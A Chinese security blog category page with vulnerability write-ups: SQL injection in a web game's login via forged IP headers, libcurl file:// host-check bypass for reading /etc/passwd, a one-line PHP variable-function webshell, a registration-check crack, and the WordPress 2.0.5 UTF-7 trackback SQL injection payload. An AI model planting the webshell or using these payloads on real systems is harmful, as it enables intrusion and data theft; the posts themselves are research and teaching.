分类 信息安全 下的文章

网页游戏《BR大逃杀》一枚小0Day

呵呵,昨晚和初中同学叙旧,两个人无聊找了一款网页游戏BR大逃杀玩,今天把这个网页游戏下下来简单审计了一下源码。

<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
set_magic_quotes_runtime(0);
//ini_set('date.timezone','Asia/Shanghai');
$now = time(); 
define('IN_GAME', TRUE);
define('GAME_ROOT', substr(dirname(__FILE__), 0, 0));
define('GAMENAME', 'bra');
if(PHP_VERSION < '4.3.0') {
    exit('PHP version must >= 4.3.0!');
}
require_once GAME_ROOT.'./include/global.func.php';
require_once GAME_ROOT.'./config.inc.php';

extract(gaddslashes($_COOKIE));
extract(gaddslashes($_POST));
extract(gaddslashes($_GET));

if($attackevasive) {
    include_once GAME_ROOT.'./include/security.inc.php';
}

if($gzipcompress && function_exists('ob_gzhandler') && CURSCRIPT != 'wap') {
    ob_start('ob_gzhandler');
} else {
    $gzipcompress = 0;
    ob_start();
}

require_once GAME_ROOT.'./include/db_'.$database.'.class.php';
$db = new dbstuff;
$db->connect($dbhost, $dbuser, $dbpw, $dbname, $pconnect);
unset($dbhost, $dbuser, $dbpw, $dbname, $pconnect);
$db->select_db($dbname);
require_once GAME_ROOT.'./gamedata/system.php';
if(!$username||!$password){
    gexit($_ERROR['login_info'],__file__,__line__);
}else{
    include_once GAME_ROOT.'./gamedata/system.php';

    if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
        $onlineip = getenv('HTTP_CLIENT_IP');
    } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
        $onlineip = getenv('HTTP_X_FORWARDED_FOR');
    } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
        $onlineip = getenv('REMOTE_ADDR');
    } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
        $onlineip = $_SERVER['REMOTE_ADDR'];
    }

    $password = md5($password);
    $groupid = 1;
    $credits = 0;
    $gender = 0;
    $str = "SELECT * FROM {$tablepre}users WHERE username = '$username'";
    $result = $db->query("SELECT * FROM {$tablepre}users WHERE username = '$username'");
    if(!$db->num_rows($result)) {
        $groupid = 1;
        $str = "INSERT INTO {$tablepre}users (username,`password`,groupid,ip,credits,gender) VALUES ('$username', '$password', '$groupid', '$onlineip', '$credits', '$gender')";
        $db->query("INSERT INTO {$tablepre}users (username,`password`,groupid,ip,credits,gender) VALUES ('$username', '$password', '$groupid', '$onlineip', '$credits', '$gender')");
    } else {
        $userdata = $db->fetch_array($result);
        if($userdata['groupid'] <= 0){
            gexit($_ERROR['user_ban'],__file__,__line__);
        } elseif($userdata['password'] != $password) {
            gexit($_ERROR['login_check'],__file__,__line__);
        } else {

        }
    }
    gsetcookie('user',$username);
    gsetcookie('pass',$password);
}

Header("Location: index.php");
exit();

?>

以上这些是login.php的源码,程序员从15-17行进行了addslash()操作并且用了extract()函数解压出来,这两个函数都有相关的安全风险。
addslash()函数在数据库为gbk的条件下可以用宽字节注入,extract函数的话可以用数组进行变量覆盖(日常感谢黑哥等老一辈黑阔)

看了一下下面进行sql查询的地方,因为数据库设置的是utf8格式的,所以暂时先放弃了宽字节注入的想法。

接下来我发现下面的insert语句里面需要插入一个ip,根据以往的经验来看,php获取ip一共有3种方式,其中的2种方式都是有问题的。
使用X-Forward-For和HTTP_CLIENT_IP这两种都是客户端可以伪造的。
于是看一下ip是怎么取得的,获取ip的代码是如下:

    if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
        $onlineip = getenv('HTTP_CLIENT_IP');
    } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
        $onlineip = getenv('HTTP_X_FORWARDED_FOR');
    } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
        $onlineip = getenv('REMOTE_ADDR');
    } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
        $onlineip = $_SERVER['REMOTE_ADDR'];
    }

个人觉得程序猿没有注意到获取顺序,应该是$_SERVER['REMOTE_ADDR']放在判断语句的第一个,不然就不会有下面的问题了。
上面那串代码获取了$onlineip,但要注意到$onlineip是从$_SERVER这个php的超全局变量获取的。程序开头只addslash了3个超全局变量,忽略了这个,所以下面insert语句是可以注入的。
所以接下来就可以用报错注入来注入了。
F93EDEF9-CC09-479E-81F9-B5F70267FC74.png
66FF604A-1512-40CD-8858-E74C5ECA32CD.png

Curl类库解析url安全简读

简介

什么是CURL

curl是利用URL语法在命令行方式下工作的开源文件传输工具。它被广泛应用在Unix、多种Linux发行版中,并且有DOS和Win32、Win64下的移植版本。

正文

CURL是十分强大的开源命令行工具,支持以下这些协议

DICT, FILE, FTP, FTPS, Gopher, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMTP, SMTPS, Telnet and TFTP.

wooyun案例:
人人网的分享网页功能存在诸多安全漏洞
微博--微收藏多处任意文件读取漏洞

许多程序猿使用CURL类库的时候是不对传入的URL进行协议鉴别的.

举个例子在最新版的骑士CMS中(20160604)有一个调用curl类库的函数

function https_request($url,$data = null){
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
    if (!empty($data)){
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    }
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($curl);
    curl_close($curl);
    return $output;
}

把这段代码单独扒拉下来稍作修改,然后调用一下可以很明显的看到,直接使用curl调用了file://协议对文件进行了读取

我建立了一个测试文件路径为/etc/test

ED4CB388-15DA-40D8-B525-FB49B6442F85.png

测试文件里面将CURLOPT_URL设置为file:///etc/test

再访问测试文件http://test/test.php

3EE11F19-37AE-492F-B572-9630A6D9DDFF.png

可以看到原本打算进行http请求的函数转变成了文件读取.

但是上面仅仅是最一般的情况,更多的情况是url是经过拼接之后再传入CURLOPT_URL这个选项的.

for example:

有一个api接口
http://someapi.com/api.php?token={user_api_token}&other_string
通过拼接用户的api_token来传入curl类库进行http请求等操作.

想要将使用http协议变成file协议来读取文件
,我们最好能够能覆盖前面一部分,并且摒弃后面一部分.

那么想要做到上面的部分就要了解curl_setopt()这个函数的源代码了.

PHP_FUNCTION(curl_setopt)
{
    zval       *zid, **zvalue;
    long        options;
    php_curl   *ch;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlZ", &zid, &options, &zvalue) == FAILURE) {
        return;
    }

    ZEND_FETCH_RESOURCE(ch, php_curl *, &zid, -1, le_curl_name, le_curl);

    if (options <= 0 && options != CURLOPT_SAFE_UPLOAD) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid curl configuration option");
        RETURN_FALSE;
    }

    if (_php_curl_setopt(ch, options, zvalue TSRMLS_CC) == SUCCESS) {
        RETURN_TRUE;
    } else {
        RETURN_FALSE;
    }
}

(看懂PHP的函数源码需要一点PHP扩展方面的知识,推荐看看鸟哥laruence的博客和百度)

里面调用了_php_curl_setopt()这个函数,其中进入的是这个case

case CURLOPT_URL:
convert_to_string_ex(zvalue);
return php_curl_option_url(ch, Z_STRVAL_PP(zvalue), Z_STRLEN_PP(zvalue) TSRMLS_CC);

这个函数中唯一一个调用的函数原型贴在下面了
ext/curl/interface.c:206行

static int php_curl_option_url(php_curl *ch, const char *url, const int len TSRMLS_DC) /* {{{ */
{
    /* Disable file:// if open_basedir are used */
    if (PG(open_basedir) && *PG(open_basedir)) {
#if LIBCURL_VERSION_NUM >= 0x071304
        curl_easy_setopt(ch->cp, CURLOPT_PROTOCOLS, CURLPROTO_ALL & ~CURLPROTO_FILE);
#else
        php_url *uri;

        if (!(uri = php_url_parse_ex(url, len))) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid URL '%s'", url);
            return FAILURE;
        }

        if (uri->scheme && !strncasecmp("file", uri->scheme, sizeof("file"))) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "Protocol 'file' disabled in cURL");
            php_url_free(uri);
            return FAILURE;
        }
        php_url_free(uri);
#endif
    }

    return php_curl_option_str(ch, CURLOPT_URL, url, len, 0 TSRMLS_CC);
}

可以看到程序首先就判断了是否设置了
open_basedir,如果设置了将直接防止使用file:协议进行文件的读取,所以可以考虑作为一个防御方案:)

在进入第一个if判断语句,首先php里面的curl类库调用了php源码里php_url_parse_ex这个函数来解析url,php的函数parse_url()函数也是调用的php_url_parse_ex这个函数来解析url.

但是主要php_url_parse_ex这个函数在这里的作用就是解析这个url使用了什么协议,再根据解析出来的协议使用值uri->scheme对比是否是file协议,相当于在上层做了一个判断,并不是解析好了之后将处理过后的值放入curl类库里的函数再解析一遍url.

经过追踪函数定位到lib/url.c:parseurlandfillconn()为curl类库里面进行url解析的函数

首先

  if((2 == sscanf(data->change.url, "%15[^:]:%[^\n]",
                  protobuf, path)) &&
     Curl_raw_equal(protobuf, "file")) {
    if(path[0] == '/' && path[1] == '/') {
      /* Allow omitted hostname (e.g. file:/<path>).  This is not strictly
       * speaking a valid file: URL by RFC 1738, but treating file:/<path> as
       * file://localhost/<path> is similar to how other schemes treat missing
       * hostnames.  See RFC 1808. */

      /* This cannot be done with strcpy() in a portable manner, since the
         memory areas overlap! */
      memmove(path, path + 2, strlen(path + 2)+1);
    }

首先可以看curl先取了:符号之前的字符转换成大写之后再和file进行对比.程序猿还在注释里面写了这么一段话.

`      /* Allow omitted hostname (e.g. file:/<path>).  This is not strictly
       * speaking a valid file: URL by RFC 1738, but treating file:/<path> as
       * file://localhost/<path> is similar to how other schemes treat missing
       * hostnames.  See RFC 1808. */

程序猿是想兼容RFC1808协议,RFC1808协议里对file协议的规定

   The file URL scheme is used to designate files accessible on a
   particular host computer. This scheme, unlike most other URL schemes,
   does not designate a resource that is universally accessible over the
   Internet.

   A file URL takes the form:

       file://<host>/<path>

   where <host> is the fully qualified domain name of the system on
   which the <path> is accessible, and <path> is a hierarchical
   directory path of the form <directory>/<directory>/.../<name>.

   For example, a VMS file

     DISK$USER:[MY.NOTES]NOTE123456.TXT

   might become

     <URL:file://vms.host.edu/disk$user/my/notes/note12345.txt>

   As a special case, <host> can be the string "localhost" or the empty
   string; this is interpreted as `the machine from which the URL is
   being interpreted'.

   The file URL scheme is unusual in that it does not specify an
   Internet protocol or access method for such files; as such, its
   utility in network protocols between hosts is limited.

我把程序前一部分的逻辑画了张图

0BE7BB73-540C-4AC1-9F70-6F10BD2494F7.png

会发现这个函数把file://{somedomain.com}/etc/passwd
上面{}中的所有给忽略掉,而只使用path,即使是别的域名也会最终读取到本地的对应文件中.

所以假设一个情况:

var_dump(parse_url('file://qq.com/etc/passwd'));

EE517382-32FD-49CE-81C5-33DD29C29982.png

给curl类库执行的话,依旧读取的是本地的/etc/passwd文件

4E3A034C-90EF-4357-BEE3-8D36DE2D50BB.png

3B2DB8AC-DB96-41F2-9FC6-339420C50079.png

所以可以想象一下一个场景

<?php

$url = $_GET['url'];

function curl($url)
{
    $info = parse_url($url);
    $host = $info['host'];

    if ($host !== $_SERVER['HTTP_HOST']){
        echo "It's not baidu.com!Illegal Host!";
        exit;
    }

    if (function_exists('curl_init') && function_exists('curl_exec')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        $data = curl_exec($ch);
        curl_close($ch);
        echo $data;
    }
}

curl($url);

如果程序猿对curl访问的host做了限制,其实可以绕过host的限制,继续进行文件读取:sunglasses:

BCE27DB3-90B1-424C-BC1A-0BC3FC14A937.png

而回到最一开始的那个问题,如果程序猿单单对url后半部分进行了拼接,没有进行:符号前面的协议判断,是可以通过?号,file://qq.com/etc/passwd?+{user+token}来继续执行文件协议读取.

例子:
6ED8C152-EF4C-4E84-9CE1-473309950DE1.png

如果绕过了host,但是后面有拼接

A2C1B3F6-89E6-4F1C-B161-3856C3BFAF81.png

这时候后面加一个?就能把后面的token变为查询参数,不影响文件读取

BF8EF7FC-B060-43A0-9B4B-88731333F06F.png

如果拼接了前半部分目前来说,又想使用file协议是无计可施的.

但是你想要用其它协议,没问题.curl如果没有读取到传入curl使用的协议,或者遇到不规范的url.会自行对以下协议进行重组.

D2582EA5-08C9-4D82-8145-B32003AFABD9.png

就是说假如你想使用一个ftp协议来下载东西,但是ftp协议被禁用了.你根据它的判断规则传入一个url.

当在内网的ftp服务器域名前缀是ftp.的情况下libcurl还是会根据你传入的url发起一个ftp请求的.

感觉这题可以出一道题,有一股浓浓的ctf味道.假如说能重组file协议的话,会是一个不得了的大洞呢,可惜了.

php变量函数一句话

变量函数一句话

<?php
echo $_GET['a']($_GET['b']);

用法:
/test.php?a=system&b=ls

超级easy的U盘监控器破解

今天是美好的星期一啊,把<<Windows PE权威指南>>看掉一半就去看权利的游戏去:neckbeard:

龙妈称霸世界:sunglasses:

这个破解是<<Windows PE权威指南>>里的一个小例子,首先打开这个软件.

1E8C3E59-31C1-48C1-8F69-9870318D7DE5.png

这个界面做的真是难看....还加了弹窗广告,我呸...

随便输入123

099FA62A-B2A4-4486-BB39-4F8DF6F43093.png

注册失败了

83461D70-D029-4B9E-8EFE-B6441C7FFF04.png

可以看见失败的弹框里面有注册失败几个字.

把程序丢进OD里面
B66FD8CB-023D-4B01-825A-BB5B1F23B4A8.png

OD已经定到入口点了,再用WinHex把程序打开来看字节码

994AC89F-FE85-46D6-A4B5-66BDA7E0AED4.png

98997F5E-7B59-49CE-BAD1-2E6C52DC8B87.png

WTF!激活码直接就出来了!233333

不过用改程序流程的方法会好玩一点

可以看到注册失败这个字符串offset是81A79

VA = ImageBase + RVA

VA = 400000 + 81A79

程序在装载入程序后这段字符串的虚拟地址是0x481A79

35867F9A-B024-4E22-82EC-777A1770B358.png

查看谁用到了0x481A79这个地址,在OD的指令及指令解释区搜索常量0x481A79,可以看到0x405D2D这个地方push了0x481A79

FB9A73AA-63B1-4F94-87CE-1DF214246CD3.png

往上拉一拉在0x405D11的地方是由0F8F的地方跳转过来的,用的是jg指令,只要把jg指令改成jl指令,再用nop填充就随便输入什么字符串都能注册成功了:)

2B1A9901-39D7-4D7B-85FE-B239DA78D748.png

66848E75-CFC7-4FC7-A8D3-F6C340E4B167.png

Wordpress 2.0.5 - Trackback UTF-7 SQL injection分析

Wordpress 2.0.5 - Trackback UTF-7 SQL injection

  • 影响条件:

  • 程序:WordPress

  • 版本: ?->2.0.5

  • 严重程度:高危

正文

由于这些漏洞都是在exploit-db上面扒下来的exp,再通过exp的作用来分析程序漏洞.所以有时候exp写的比较让人难以理解,可以通过wireshark抓包来进行分析.

这个漏洞expolit-db里的exp名称是
WordPress 2.0.5 - Trackback UTF-7 - Remote SQL Injection Exploit

由于这个漏洞是注入,可以选择在wp-includes/wp-db.phpprint_error()函数里面下一个断点,OS X里可以使用macGDBp配合MAMP搭建测试环境,很方便.

我在print_error()里下了一个断点

    function print_error($str = '') {
        xdebug_break();  //断点在这里
        global $EZSQL_ERROR;
        if (!$str) $str = mysql_error();
        $EZSQL_ERROR[] = 
        array ('query' => $this->last_query, 'error_str' => $str);

        // Is error output turned on or not..
        if ( $this->show_errors ) {
            // If there is an error then take note of it
            print "<div id='error'>
            <p class='wpdberror'><strong>WordPress database error:</strong> [$str]<br />
            <code>$this->last_query</code></p>
            </div>";
        } else {
            return false;    
        }
    }

运行一遍exp
03F08447-8CE2-4ED0-8039-BB9CA8797868.png

可以看到wireshark监听loopback已经抓到了以下的几个http数据包

FA9877B1-45D0-4BF7-949E-B943F7AC4675.png

在No.82 http数据包中看到了明显的payload
08E21E8D-45BC-412D-9801-58AC445496C0.png

将这个数据包放在burp里面重放,回到macGDBp里面查看截断的情况.

B447920E-8011-4A13-83A1-4AB74604614D.png

$blog_name是可以传入注入语句的参数.

可以看到 $blog_name先是被赋值给了$comment_author之后再被打包传入了wp_new_comment()处理
382A7665-8238-441F-818B-703083DEEA9B.png

再wp_new_comment()函数中调用了一个函数来检测相对应的帖子之前是否有使用过trackback功能评论过,所以进行了数据库查询

    if ( $wpdb->get_var($dupe) )
        die( __('Duplicate comment detected; it looks as though you\'ve already said that!') );

其中$dupe的语句就是

    $dupe = "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = '$comment_post_ID' AND ( comment_author = '$comment_author' ";
    if ( $comment_author_email )
        $dupe .= "OR comment_author_email = '$comment_author_email' ";
    $dupe .= ") AND comment_content = '$comment_content' LIMIT 1";

我们可以看到没有经过任何处理的$comment_author就这样进入了sql语句中,进行了数据库的查询.

为什么用utf-7就可以注入呢?因为'号使用了utf-7编码的话,就绕过了编码函数,如果用utf-8编码的'号,会被防注入加上\

7C623354-4EF8-46C3-A6CC-5A1422E24B62.png

所以我们的payload只要用utf-7编码'符号为+ACc-,让mb_convert_encoding()函数再解码为'号就可以闭合前面的'号进行注入了.

所以构造的payload是

+ACc- AND 1=0) UNION SELECT 1 FROM wp_users WHERE ID=+ACc--1+ACc- /*

看了一看这个文件的其它最后进入数据库的参数,我发现了url这个参数也是可以注入的,最后进入的数据库查询的语句是这个
wp-trackback.php:87行

$dupe = $wpdb->get_results("SELECT * FROM $wpdb->comments WHERE comment_post_ID = '$comment_post_ID' AND comment_author_url = '$comment_author_url'");